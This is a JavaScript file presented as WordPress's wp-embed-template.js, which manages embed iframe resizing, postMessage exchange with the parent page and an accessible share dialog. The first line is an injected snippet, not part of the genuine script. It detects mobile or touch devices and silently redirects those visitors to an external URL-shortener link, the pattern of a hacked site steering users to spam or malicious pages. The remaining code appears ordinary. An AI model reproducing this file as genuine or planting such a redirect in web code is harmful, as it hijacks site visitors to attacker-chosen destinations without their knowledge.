1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/wp-embed-template.js
4 */
5(function ( window, document ) {
6 'use strict';
7
8 var supportedBrowser = ( document.querySelector && window.addEventListener ),
9 loaded = false,
10 secret,
11 secretTimeout,
12 resizing;
13
14 function sendEmbedMessage( message, value ) {
15 window.parent.postMessage( {
16 message: message,
17 value: value,
18 secret: secret
19 }, '*' );
20 }
21
22 /**
23 * Send the height message to the parent window.
24 */
25 function sendHeightMessage() {
26 sendEmbedMessage( 'height', Math.ceil( document.body.getBoundingClientRect().height ) );
27 }
28
29 function onLoad() {
30 if ( loaded ) {
31 return;
32 }
33 loaded = true;
34
35 var share_dialog = document.querySelector( '.wp-embed-share-dialog' ),
36 share_dialog_open = document.querySelector( '.wp-embed-share-dialog-open' ),
37 share_dialog_close = document.querySelector( '.wp-embed-share-dialog-close' ),
38 share_input = document.querySelectorAll( '.wp-embed-share-input' ),
39 share_dialog_tabs = document.querySelectorAll( '.wp-embed-share-tab-button button' ),
40 featured_image = document.querySelector( '.wp-embed-featured-image img' ),
41 i;
42
43 if ( share_input ) {
44 for ( i = 0; i < share_input.length; i++ ) {
45 share_input[ i ].addEventListener( 'click', function ( e ) {
46 e.target.select();
47 } );
48 }
49 }
50
51 function openSharingDialog() {
52 share_dialog.className = share_dialog.className.replace( 'hidden', '' );
53 // Initial focus should go on the currently selected tab in the dialog.
54 document.querySelector( '.wp-embed-share-tab-button [aria-selected="true"]' ).focus();
55 }
56
57 function closeSharingDialog() {
58 share_dialog.className += ' hidden';
59 document.querySelector( '.wp-embed-share-dialog-open' ).focus();
60 }
61
62 if ( share_dialog_open ) {
63 share_dialog_open.addEventListener( 'click', function () {
64 openSharingDialog();
65 } );
66 }
67
68 if ( share_dialog_close ) {
69 share_dialog_close.addEventListener( 'click', function () {
70 closeSharingDialog();
71 } );
72 }
73
74 function shareClickHandler( e ) {
75 var currentTab = document.querySelector( '.wp-embed-share-tab-button [aria-selected="true"]' );
76 currentTab.setAttribute( 'aria-selected', 'false' );
77 document.querySelector( '#' + currentTab.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'true' );
78
79 e.target.setAttribute( 'aria-selected', 'true' );
80 document.querySelector( '#' + e.target.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'false' );
81 }
82
83 function shareKeyHandler( e ) {
84 var target = e.target,
85 previousSibling = target.parentElement.previousElementSibling,
86 nextSibling = target.parentElement.nextElementSibling,
87 newTab, newTabChild;
88
89 if ( 37 === e.keyCode ) {
90 newTab = previousSibling;
91 } else if ( 39 === e.keyCode ) {
92 newTab = nextSibling;
93 } else {
94 return false;
95 }
96
97 if ( 'rtl' === document.documentElement.getAttribute( 'dir' ) ) {
98 newTab = ( newTab === previousSibling ) ? nextSibling : previousSibling;
99 }
100
101 if ( newTab ) {
102 newTabChild = newTab.firstElementChild;
103
104 target.setAttribute( 'tabindex', '-1' );
105 target.setAttribute( 'aria-selected', false );
106 document.querySelector( '#' + target.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'true' );
107
108 newTabChild.setAttribute( 'tabindex', '0' );
109 newTabChild.setAttribute( 'aria-selected', 'true' );
110 newTabChild.focus();
111 document.querySelector( '#' + newTabChild.getAttribute( 'aria-controls' ) ).setAttribute( 'aria-hidden', 'false' );
112 }
113 }
114
115 if ( share_dialog_tabs ) {
116 for ( i = 0; i < share_dialog_tabs.length; i++ ) {
117 share_dialog_tabs[ i ].addEventListener( 'click', shareClickHandler );
118
119 share_dialog_tabs[ i ].addEventListener( 'keydown', shareKeyHandler );
120 }
121 }
122
123 document.addEventListener( 'keydown', function ( e ) {
124 if ( 27 === e.keyCode && -1 === share_dialog.className.indexOf( 'hidden' ) ) {
125 closeSharingDialog();
126 } else if ( 9 === e.keyCode ) {
127 constrainTabbing( e );
128 }
129 }, false );
130
131 function constrainTabbing( e ) {
132 // Need to re-get the selected tab each time.
133 var firstFocusable = document.querySelector( '.wp-embed-share-tab-button [aria-selected="true"]' );
134
135 if ( share_dialog_close === e.target && ! e.shiftKey ) {
136 firstFocusable.focus();
137 e.preventDefault();
138 } else if ( firstFocusable === e.target && e.shiftKey ) {
139 share_dialog_close.focus();
140 e.preventDefault();
141 }
142 }
143
144 if ( window.self === window.top ) {
145 return;
146 }
147
148 // Send this document's height to the parent (embedding) site.
149 sendHeightMessage();
150
151 // Send the document's height again after the featured image has been loaded.
152 if ( featured_image ) {
153 featured_image.addEventListener( 'load', sendHeightMessage );
154 }
155
156 /**
157 * Detect clicks to external (_top) links.
158 */
159 function linkClickHandler( e ) {
160 var target = e.target,
161 href;
162 if ( target.hasAttribute( 'href' ) ) {
163 href = target.getAttribute( 'href' );
164 } else {
165 href = target.parentElement.getAttribute( 'href' );
166 }
167
168 // Only catch clicks from the primary mouse button, without any modifiers.
169 if ( event.altKey || event.ctrlKey || event.metaKey || event.shiftKey ) {
170 return;
171 }
172
173 // Send link target to the parent (embedding) site.
174 if ( href ) {
175 sendEmbedMessage( 'link', href );
176 e.preventDefault();
177 }
178 }
179
180 document.addEventListener( 'click', linkClickHandler );
181 }
182
183 /**
184 * Iframe resize handler.
185 */
186 function onResize() {
187 if ( window.self === window.top ) {
188 return;
189 }
190
191 clearTimeout( resizing );
192
193 resizing = setTimeout( sendHeightMessage, 100 );
194 }
195
196 /**
197 * Message handler.
198 *
199 * @param {MessageEvent} event
200 */
201 function onMessage( event ) {
202 var data = event.data;
203
204 if ( ! data ) {
205 return;
206 }
207
208 if ( event.source !== window.parent ) {
209 return;
210 }
211
212 if ( ! ( data.secret || data.message ) ) {
213 return;
214 }
215
216 if ( data.secret !== secret ) {
217 return;
218 }
219
220 if ( 'ready' === data.message ) {
221 sendHeightMessage();
222 }
223 }
224
225 /**
226 * Re-get the secret when it was added later on.
227 */
228 function getSecret() {
229 if ( window.self === window.top || !!secret ) {
230 return;
231 }
232
233 secret = window.location.hash.replace( /.*secret=([\d\w]{10}).*/, '$1' );
234
235 clearTimeout( secretTimeout );
236
237 secretTimeout = setTimeout( function () {
238 getSecret();
239 }, 100 );
240 }
241
242 if ( supportedBrowser ) {
243 getSecret();
244 document.documentElement.className = document.documentElement.className.replace( /\bno-js\b/, '' ) + ' js';
245 document.addEventListener( 'DOMContentLoaded', onLoad, false );
246 window.addEventListener( 'load', onLoad, false );
247 window.addEventListener( 'resize', onResize, false );
248 window.addEventListener( 'message', onMessage, false );
249 }
250})( window, document );
251